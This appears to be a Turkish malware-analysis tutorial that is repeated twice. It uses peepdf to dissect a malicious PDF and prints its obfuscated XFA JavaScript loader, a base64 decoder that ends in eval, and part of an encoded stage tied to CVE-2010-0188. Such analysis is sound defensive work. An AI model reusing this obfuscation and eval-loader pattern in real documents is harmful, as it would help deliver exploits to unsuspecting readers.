Merhaba arkadaşlar bugün sizlere peepdf adlı scripti anlatacağım. Bu script bizim için pdfde ki objeleri imzaları vs görüntülemeye yarıyor. Örnek olarak bir tanesine bakalım. Konsol modunda görüntüleyeceğiz. peepdf -i xxx.pdf"
Evet arkadaşlar görüldüğü üzere pdfnin bütün kimlik bilgileri karşımızda. 2 tane şüpheli obje içeriyor. Object 1 ve 3 ile başlayalım.
Object 1, bir XFA (Adobe XML Forms Architecture) kaynağı içeren bir akış veya diziyi işaret edebilen, XFA anahtarına sahip object 3e işaret eden bir AcroFormu (belge etkileşimli form sözlüğü) içerir. Şimdi Object 17ye bakalım.
<< /Length 20 0 R
/Filter /FlateDecode
>>
stream
<?xml version="1.0" encoding="UTF-8"?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xd
p/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<linearized>3</linearized>
<interactive>1</interactive>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination></present></config>
<template>
<subform name="var_2_" layout="tb" locale="en_US">
<pageSet>
<pageArea id="var_3_" name="var_3_">
<contentArea h="787pt" w="577pt" x="0.26in" y="0.26in"/>
<medium long="797pt" short="617pt" stock="default"/>
</pageArea>
</pageSet>
<field h="79mm" name="var_1_" w="96mm" x="46.6501mm" y="99.649mm">
<event activity="initialize" name="var_4_"><script contentType="application/x-ja
vascript"> var dcdc= YY YY YY YYfYYuYYnYYcYYtYYiYYoYYnYY YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YY YYdYY YY)YY YY{YYvYYaYYrYY YYbYY6YY4YY YY=YY YY"YYAYYB
YYCYYDYYEYYFYYGYYHYYIYYJYYKYYLYYMYYNYYOYYPYYQYYRYYSYYTYYUYYVYYWYYXYYYYYZYYaYYbYY
cYYdYYeYYfYYgYYhYYiYYjYYkYYlYYmYYnYYoYYpYYqYYrYYsYYtYYuYYvYYwYYxYYyYYzYY0YY1YY2Y
Y3YY4YY5YY6YY7YY8YY9YY+YY/YY=YY"YY;YYvYYaYYrYY YYoYY1YY,YY YYoYY2YY,YY YYoYY3YY,
YY YYhYY1YY,YY YYhYY2YY,YY YYhYY3YY,YY YYhYY4YY,YY YYbYY,YY YYiYY=YY0YY,YY YYeYY
nYYcYY=YY"YY"YY;YYdYYoYY YY{YY YY YYhYY1YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOY
YfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY2YY YY=YY YYbYY6YY4YY.YYi
YYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY3YY YY=YY
YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)Y
Y;YYhYY4YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(
YYiYY+YY+YY)YY)YY;YYbYY YY=YY YYhYY1YY<YY<YY1YY8YY YY|YY YYhYY2YY<YY<
;YY1YY2YY YY|YY YYhYY3YY<YY<YY6YY YY|YY YYhYY4YY;YYoYY1YY YY=YY YYbYY>YY>Y
Y1YY6YY YY&YY YY0YYxYYfYYfYY;YYoYY2YY YY=YY YYbYY>YY>YY8YY YY&YY YY0YYxY
YfYYfYY;YYoYY3YY YY=YY YYbYY YY&YY YY0YYxYYfYYfYY;YYiYYfYY YY(YYhYY3YY YY=YY
=YY YY6YY4YY)YY YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhY
YaYYrYYCYYoYYdYYeYY(YYoYY1YY)YY;YYeYYlYYsYYeYY YYiYYfYY YY(YYhYY4YY YY=YY=YY YY6
YY4YY)YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYY
oYYdYYeYY(YYoYY1YY,YY YYoYY2YY)YY;YYeYYlYYsYYeYY YY YY YYeYYnYYcYY YY+YY=YY YYSY
YtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYYoYYdYYeYY(YYoYY1YY,YY YYoYY2YY,YY
YYoYY3YY)YY;YY}YY YYwYYhYYiYYlYYeYY YY(YYiYY YY<YY YYdYY.YYlYYeYYnYYgYYtYYhYY
)YY;YYrYYeYYtYYuYYrYYnYY YYeYYnYYcYY;YY}YYvYYaYYrYY1YY1YY1YY=YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYiYYnYYfYYoYY.YYd
YYoYYpYYeYYrYYzYYaYY)YY;YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYeYYvYYaYYlYY(YY
vYYaYYrYY1YY1YY1YY)YY;YY; fgfg=xexvxaxl;oee=xfa.data.nodes.item(0);oee=oee
+;fgfg=oee[4]+fgfg[3]+fgfg[5]+fgfg[7];if(oee[4]==e){zea=3}else{zea=4};asd=
;taran=charAt;for (i=0;i<dcdc.length;i +=zea){ asd +=dcdc[taran](i);};mox
=get;sox=tar+mox;opop()[sox][fgfg](asd);function opop(){fvfv=event;return fv
fv;};</script></event>
<ui><imageEdit/></ui>
</field>
</subform>
</template>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" accessibleContent="1" change="1" c
ontentCopy="1" ********Assembly="1" formFieldFilling="1" ****data="1" modifyAnno
ts="1" print="1" printHighQuality="1"/>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><var
_2_><var_1_/></var_2_></xfa:data></xfa:datasets>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"><annots/></xfdf>
<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/" />
</xdp:xdp>
endstream
Gördüğünüz üzere Object 17 bir xml ağacı içeriyor. İçerisinde ilgi çekici girdiler var. Eval stringi oluşturmak gibi bildiğiniz üzere eval bir dinamik yordam çağırma syntaxıdır.
fgfg = xexvxaxl;
oee = xfa.data.nodes.item(0); //XFA Objesi oluştur.
oee = oee + ; //oee xfa objesine sahip.
fgfg = oee[4] + fgfg[3] + fgfg[5] + fgfg[7]; // eval stringi oluştur.
Acrobatta bulunan birleştirilmiş javascript debuggeriyle pdfyi debuglamaya başladık, bir dizi karakter olan oee değişkeninin [object XFAObject] stringini içerdiğini görebiliriz:
XFAya dönüşen ve sonuçta eval () işlevini çağıran javascript kodu, base64 şifrelenmiş akışını (base64_decode (d)) ve başka bir eval () işlevini çözecek bir işlevin bulunduğu başka bir js kodu oluşturur. Çıktıyı kontrol etmek için js kodunu bir HTML sayfasına koyup Firebug ile hata ayıklayabiliriz:
Şimdi de asd değişkenine bir bakalım.
function base64_decode(d) {
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, b, i = 0,
enc = "";
do {
...
} while (i < d.length);
return enc;
}
var111 = base64_decode(event.target.info.doperza);
event.target.eval(var111);
Yani "doperza" nesnesi çözülmüş ve çalıştırılmıştır. Ama, doperza nerede? Tabiki pdfnin içinde, ama nerde? İkinci kodlanmış akışı kontrol edelim: Object 42:
PPDF> object 42
<< /Length 11088
/Filter /FlateDecode
>>
stream
dmFyIGR2c2Zicndld2RhZHN3ZWZxID0gWzE5LDI5LDEwLDI0XTsgZnVuY3Rpb24gS05MOTIoKXt9O3Zh
ciBXTks5bXU9J2d4Sic7ZnVuY3Rpb24gYmdobnR5cmV0cmdmZ3J0aCgpeyBmdW5jdGlvbiBSTUNzQjko
KXt9O2Z1bmN0aW9uIHJadmlZKCl7aWYoJ3l3QlonPT0nV
.....
MjY4Jz09JycpdmFyIHJxb0o9J2FyZ2MnO312YXIgdVVwOw==
endstream
Şimdi de objenin iletişim kurduğu referanslara bir bakalım.
Bu nedenle object 41 içerisinde şifrelenmiş akışımızda object 42ye atıfta bulunan "doperza" anahtarı var.
Bu katmanıda çalıştırdıktan sonra nihayetinde exploit kodumuza ulaşıyoruz. Kod: CVE-2010-0188
Bu da demek oluyor ki pdfmiz sistemde güvenlik açığı oluşturabilir. Umarım yararlı olmuştur. İyi kullanımlar.
Evet arkadaşlar görüldüğü üzere pdfnin bütün kimlik bilgileri karşımızda. 2 tane şüpheli obje içeriyor. Object 1 ve 3 ile başlayalım.
Object 1, bir XFA (Adobe XML Forms Architecture) kaynağı içeren bir akış veya diziyi işaret edebilen, XFA anahtarına sahip object 3e işaret eden bir AcroFormu (belge etkileşimli form sözlüğü) içerir. Şimdi Object 17ye bakalım.
<< /Length 20 0 R
/Filter /FlateDecode
>>
stream
<?xml version="1.0" encoding="UTF-8"?><xdp:xdp xmlns:xdp="http://ns.adobe.com/xd
p/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<linearized>3</linearized>
<interactive>1</interactive>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination></present></config>
<template>
<subform name="var_2_" layout="tb" locale="en_US">
<pageSet>
<pageArea id="var_3_" name="var_3_">
<contentArea h="787pt" w="577pt" x="0.26in" y="0.26in"/>
<medium long="797pt" short="617pt" stock="default"/>
</pageArea>
</pageSet>
<field h="79mm" name="var_1_" w="96mm" x="46.6501mm" y="99.649mm">
<event activity="initialize" name="var_4_"><script contentType="application/x-ja
vascript"> var dcdc= YY YY YY YYfYYuYYnYYcYYtYYiYYoYYnYY YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YY YYdYY YY)YY YY{YYvYYaYYrYY YYbYY6YY4YY YY=YY YY"YYAYYB
YYCYYDYYEYYFYYGYYHYYIYYJYYKYYLYYMYYNYYOYYPYYQYYRYYSYYTYYUYYVYYWYYXYYYYYZYYaYYbYY
cYYdYYeYYfYYgYYhYYiYYjYYkYYlYYmYYnYYoYYpYYqYYrYYsYYtYYuYYvYYwYYxYYyYYzYY0YY1YY2Y
Y3YY4YY5YY6YY7YY8YY9YY+YY/YY=YY"YY;YYvYYaYYrYY YYoYY1YY,YY YYoYY2YY,YY YYoYY3YY,
YY YYhYY1YY,YY YYhYY2YY,YY YYhYY3YY,YY YYhYY4YY,YY YYbYY,YY YYiYY=YY0YY,YY YYeYY
nYYcYY=YY"YY"YY;YYdYYoYY YY{YY YY YYhYY1YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOY
YfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY2YY YY=YY YYbYY6YY4YY.YYi
YYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)YY;YYhYY3YY YY=YY
YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(YYiYY+YY+YY)YY)Y
Y;YYhYY4YY YY=YY YYbYY6YY4YY.YYiYYnYYdYYeYYxYYOYYfYY(YYdYY.YYcYYhYYaYYrYYAYYtYY(
YYiYY+YY+YY)YY)YY;YYbYY YY=YY YYhYY1YY<YY<YY1YY8YY YY|YY YYhYY2YY<YY<
;YY1YY2YY YY|YY YYhYY3YY<YY<YY6YY YY|YY YYhYY4YY;YYoYY1YY YY=YY YYbYY>YY>Y
Y1YY6YY YY&YY YY0YYxYYfYYfYY;YYoYY2YY YY=YY YYbYY>YY>YY8YY YY&YY YY0YYxY
YfYYfYY;YYoYY3YY YY=YY YYbYY YY&YY YY0YYxYYfYYfYY;YYiYYfYY YY(YYhYY3YY YY=YY
=YY YY6YY4YY)YY YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhY
YaYYrYYCYYoYYdYYeYY(YYoYY1YY)YY;YYeYYlYYsYYeYY YYiYYfYY YY(YYhYY4YY YY=YY=YY YY6
YY4YY)YY YYeYYnYYcYY YY+YY=YY YYSYYtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYY
oYYdYYeYY(YYoYY1YY,YY YYoYY2YY)YY;YYeYYlYYsYYeYY YY YY YYeYYnYYcYY YY+YY=YY YYSY
YtYYrYYiYYnYYgYY.YYfYYrYYoYYmYYCYYhYYaYYrYYCYYoYYdYYeYY(YYoYY1YY,YY YYoYY2YY,YY
YYoYY3YY)YY;YY}YY YYwYYhYYiYYlYYeYY YY(YYiYY YY<YY YYdYY.YYlYYeYYnYYgYYtYYhYY
)YY;YYrYYeYYtYYuYYrYYnYY YYeYYnYYcYY;YY}YYvYYaYYrYY1YY1YY1YY=YYbYYaYYsYYeYY6YY4Y
Y_YYdYYeYYcYYoYYdYYeYY(YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYiYYnYYfYYoYY.YYd
YYoYYpYYeYYrYYzYYaYY)YY;YYeYYvYYeYYnYYtYY.YYtYYaYYrYYgYYeYYtYY.YYeYYvYYaYYlYY(YY
vYYaYYrYY1YY1YY1YY)YY;YY; fgfg=xexvxaxl;oee=xfa.data.nodes.item(0);oee=oee
+;fgfg=oee[4]+fgfg[3]+fgfg[5]+fgfg[7];if(oee[4]==e){zea=3}else{zea=4};asd=
;taran=charAt;for (i=0;i<dcdc.length;i +=zea){ asd +=dcdc[taran](i);};mox
=get;sox=tar+mox;opop()[sox][fgfg](asd);function opop(){fvfv=event;return fv
fv;};</script></event>
<ui><imageEdit/></ui>
</field>
</subform>
</template>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" accessibleContent="1" change="1" c
ontentCopy="1" ********Assembly="1" formFieldFilling="1" ****data="1" modifyAnno
ts="1" print="1" printHighQuality="1"/>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/"><xfa:data><var
_2_><var_1_/></var_2_></xfa:data></xfa:datasets>
<xfdf xmlns="http://ns.adobe.com/xfdf/" xml:space="preserve"><annots/></xfdf>
<form xmlns="http://www.xfa.org/schema/xfa-form/2.8/" />
</xdp:xdp>
endstream
Gördüğünüz üzere Object 17 bir xml ağacı içeriyor. İçerisinde ilgi çekici girdiler var. Eval stringi oluşturmak gibi bildiğiniz üzere eval bir dinamik yordam çağırma syntaxıdır.
fgfg = xexvxaxl;
oee = xfa.data.nodes.item(0); //XFA Objesi oluştur.
oee = oee + ; //oee xfa objesine sahip.
fgfg = oee[4] + fgfg[3] + fgfg[5] + fgfg[7]; // eval stringi oluştur.
Acrobatta bulunan birleştirilmiş javascript debuggeriyle pdfyi debuglamaya başladık, bir dizi karakter olan oee değişkeninin [object XFAObject] stringini içerdiğini görebiliriz:
XFAya dönüşen ve sonuçta eval () işlevini çağıran javascript kodu, base64 şifrelenmiş akışını (base64_decode (d)) ve başka bir eval () işlevini çözecek bir işlevin bulunduğu başka bir js kodu oluşturur. Çıktıyı kontrol etmek için js kodunu bir HTML sayfasına koyup Firebug ile hata ayıklayabiliriz:
Şimdi de asd değişkenine bir bakalım.
function base64_decode(d) {
var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var o1, o2, o3, h1, h2, h3, h4, b, i = 0,
enc = "";
do {
...
} while (i < d.length);
return enc;
}
var111 = base64_decode(event.target.info.doperza);
event.target.eval(var111);
Yani "doperza" nesnesi çözülmüş ve çalıştırılmıştır. Ama, doperza nerede? Tabiki pdfnin içinde, ama nerde? İkinci kodlanmış akışı kontrol edelim: Object 42:
PPDF> object 42
<< /Length 11088
/Filter /FlateDecode
>>
stream
dmFyIGR2c2Zicndld2RhZHN3ZWZxID0gWzE5LDI5LDEwLDI0XTsgZnVuY3Rpb24gS05MOTIoKXt9O3Zh
ciBXTks5bXU9J2d4Sic7ZnVuY3Rpb24gYmdobnR5cmV0cmdmZ3J0aCgpeyBmdW5jdGlvbiBSTUNzQjko
KXt9O2Z1bmN0aW9uIHJadmlZKCl7aWYoJ3l3QlonPT0nV
.....
MjY4Jz09JycpdmFyIHJxb0o9J2FyZ2MnO312YXIgdVVwOw==
endstream
Şimdi de objenin iletişim kurduğu referanslara bir bakalım.
Bu nedenle object 41 içerisinde şifrelenmiş akışımızda object 42ye atıfta bulunan "doperza" anahtarı var.
Bu katmanıda çalıştırdıktan sonra nihayetinde exploit kodumuza ulaşıyoruz. Kod: CVE-2010-0188
Bu da demek oluyor ki pdfmiz sistemde güvenlik açığı oluşturabilir. Umarım yararlı olmuştur. İyi kullanımlar.